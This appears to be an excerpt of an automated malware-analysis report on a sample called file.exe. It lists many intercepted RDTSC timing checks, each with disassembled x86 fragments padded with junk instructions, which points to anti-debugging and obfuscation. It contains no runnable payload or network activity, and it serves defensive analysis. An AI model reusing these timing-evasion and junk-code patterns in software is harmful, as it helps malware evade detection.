Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311E99 second address: 1311EBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F148D354EC6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1311EBA second address: 1311ECC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edx 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318153 second address: 1318159 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318159 second address: 1318162 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318827 second address: 131882B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1318AEA second address: 1318AEE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131902E second address: 1319038 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F148D354ECDh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1319185 second address: 131919E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F148D202220h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131EFA5 second address: 131EFCD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC7h 0x00000007 jmp 00007F148D354EBDh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D974 second address: 131D978 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D978 second address: 131D981 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D981 second address: 131D995 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F148D20221Dh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D995 second address: 131D9BB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 je 00007F148D354EB6h 0x00000009 pop edx 0x0000000a jnc 00007F148D354EC2h 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DB1F second address: 131DB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DDF7 second address: 131DE61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EBFh 0x00000007 jmp 00007F148D354EBCh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pushad 0x00000010 pushad 0x00000011 jns 00007F148D354EB6h 0x00000017 jbe 00007F148D354EB6h 0x0000001d jne 00007F148D354EB6h 0x00000023 popad 0x00000024 jmp 00007F148D354EBFh 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c pushad 0x0000002d popad 0x0000002e push eax 0x0000002f pop eax 0x00000030 push edi 0x00000031 pop edi 0x00000032 popad 0x00000033 jne 00007F148D354ED0h 0x00000039 jmp 00007F148D354EC4h 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131DFBE second address: 131DFC3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC586 second address: 12EC58A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12EC58A second address: 12EC58E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131E8A9 second address: 131E8B5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F148D354EB6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D6EA second address: 131D6EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 131D6EE second address: 131D6F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129F1B4 second address: 129F1C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F148D202216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jnp 00007F148D202216h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 129F1C7 second address: 129F1CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1296C4A second address: 1296C6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D202229h 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132836E second address: 1328388 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC6h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13284E1 second address: 13284F3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jc 00007F148D202216h 0x00000009 pop edx 0x0000000a jo 00007F148D202222h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B92 second address: 1328B96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B96 second address: 1328B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328B9C second address: 1328BAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F148D354EBCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328BAE second address: 1328BF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F148D202223h 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f jmp 00007F148D20221Bh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 jmp 00007F148D202221h 0x0000001e push edi 0x0000001f pop edi 0x00000020 pop esi 0x00000021 push eax 0x00000022 push edx 0x00000023 ja 00007F148D202216h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328BF7 second address: 1328BFF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328BFF second address: 1328C04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328C04 second address: 1328C0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328C0A second address: 1328C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328C15 second address: 1328C1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1328ED5 second address: 1328EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F148D202216h 0x0000000a jl 00007F148D202224h 0x00000010 jmp 00007F148D20221Ch 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132ABF7 second address: 132ABFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132ABFC second address: 132AC02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 132F5F8 second address: 132F615 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F148D354EC7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1333F42 second address: 1333F4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F148D202216h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5399 second address: 12E539F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E539F second address: 12E53B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jl 00007F148D202216h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E53B1 second address: 12E53B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E53B5 second address: 12E5413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007F148D202216h 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F148D202218h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000014h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c mov di, 48D8h 0x00000030 jnc 00007F148D20221Ch 0x00000036 lea eax, dword ptr [ebp+1247716Eh] 0x0000003c mov dword ptr [ebp+122D1C23h], ebx 0x00000042 push eax 0x00000043 jbe 00007F148D20222Dh 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F148D20221Bh 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5413 second address: 12E5417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5417 second address: 12CE970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ecx, dword ptr [ebp+122D36DCh] 0x0000000f call dword ptr [ebp+122D2F13h] 0x00000015 pushad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E58D3 second address: 12E58D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5993 second address: 12E59C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D20221Eh 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push edx 0x0000000e pop edx 0x0000000f popad 0x00000010 popad 0x00000011 add dword ptr [esp], 7B3841BEh 0x00000018 and dx, 40CCh 0x0000001d push 7AE6A780h 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 push edx 0x00000026 pop edx 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5A5A second address: 12E5A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5A61 second address: 12E5A78 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D202223h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5AEF second address: 12E5AF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5C42 second address: 12E5C4F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F148D202216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5D02 second address: 12E5D0C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5D0C second address: 12E5D13 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6469 second address: 12E6473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F148D354EB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6473 second address: 12E6496 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F148D202216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 jmp 00007F148D20221Bh 0x00000016 pop eax 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6496 second address: 12E64B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 ja 00007F148D354EBCh 0x0000000d popad 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 push eax 0x00000016 pop eax 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6562 second address: 12E65DF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F148D202218h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 sub dl, FFFFFFA1h 0x00000028 lea eax, dword ptr [ebp+1247716Eh] 0x0000002e push 00000000h 0x00000030 push ebp 0x00000031 call 00007F148D202218h 0x00000036 pop ebp 0x00000037 mov dword ptr [esp+04h], ebp 0x0000003b add dword ptr [esp+04h], 00000014h 0x00000043 inc ebp 0x00000044 push ebp 0x00000045 ret 0x00000046 pop ebp 0x00000047 ret 0x00000048 pushad 0x00000049 jmp 00007F148D202225h 0x0000004e push ecx 0x0000004f mov edx, dword ptr [ebp+122D19E1h] 0x00000055 pop edi 0x00000056 popad 0x00000057 nop 0x00000058 jbe 00007F148D202220h 0x0000005e push eax 0x0000005f push edx 0x00000060 pushad 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E65DF second address: 12CF51E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F148D354EC6h 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edx 0x00000010 call 00007F148D354EB8h 0x00000015 pop edx 0x00000016 mov dword ptr [esp+04h], edx 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc edx 0x00000023 push edx 0x00000024 ret 0x00000025 pop edx 0x00000026 ret 0x00000027 mov edx, 77B244D5h 0x0000002c call dword ptr [ebp+122D186Ah] 0x00000032 pushad 0x00000033 jc 00007F148D354EBEh 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13330F2 second address: 13330F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335E96 second address: 1335EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D354EC3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335EAD second address: 1335EB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jo 00007F148D202216h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335EB9 second address: 1335EC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F148D354EB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335EC4 second address: 1335ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335ECA second address: 1335ED4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335ED4 second address: 1335EE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F148D202216h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1335EE0 second address: 1335F10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jl 00007F148D354EBCh 0x00000010 jnl 00007F148D354EB6h 0x00000016 push eax 0x00000017 push edx 0x00000018 pop edx 0x00000019 pop eax 0x0000001a jo 00007F148D354EBEh 0x00000020 push eax 0x00000021 push edx 0x00000022 jnc 00007F148D354EB6h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133605C second address: 1336062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13394E7 second address: 13394EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13394EB second address: 13394F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13394F3 second address: 1339501 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jbe 00007F148D354EB6h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1338F30 second address: 1338F36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1340179 second address: 134017D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F000 second address: 133F032 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F148D202216h 0x00000008 js 00007F148D202216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007F148D202232h 0x00000016 jmp 00007F148D202226h 0x0000001b jo 00007F148D202216h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F032 second address: 133F049 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F049 second address: 133F04D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F04D second address: 133F07A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F148D354EB6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ebx 0x00000011 pushad 0x00000012 popad 0x00000013 pop ebx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F148D354EC7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F07A second address: 133F082 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F082 second address: 133F08C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F148D354EB6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F08C second address: 133F09F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F148D202216h 0x00000008 jng 00007F148D202216h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5FB2 second address: 12E5FEF instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F148D354EB8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b mov dword ptr [ebp+122D287Bh], ecx 0x00000011 mov ecx, dword ptr [ebp+122D1828h] 0x00000017 mov ebx, dword ptr [ebp+124771ADh] 0x0000001d mov dword ptr [ebp+122D1AB1h], edi 0x00000023 sub edi, dword ptr [ebp+122D1848h] 0x00000029 add eax, ebx 0x0000002b sub dword ptr [ebp+12444439h], eax 0x00000031 nop 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jns 00007F148D354EB6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E5FEF second address: 12E6039 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F148D202216h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e je 00007F148D202216h 0x00000014 pop ebx 0x00000015 push esi 0x00000016 jmp 00007F148D202227h 0x0000001b pop esi 0x0000001c popad 0x0000001d nop 0x0000001e sub edi, 3670844Eh 0x00000024 push 00000004h 0x00000026 sub dword ptr [ebp+122D27F5h], eax 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 jns 00007F148D202216h 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E6039 second address: 12E603E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E603E second address: 12E605F instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F148D202226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12E616E second address: 12E6179 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F390 second address: 133F3A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F148D20221Dh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F3A6 second address: 133F3AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
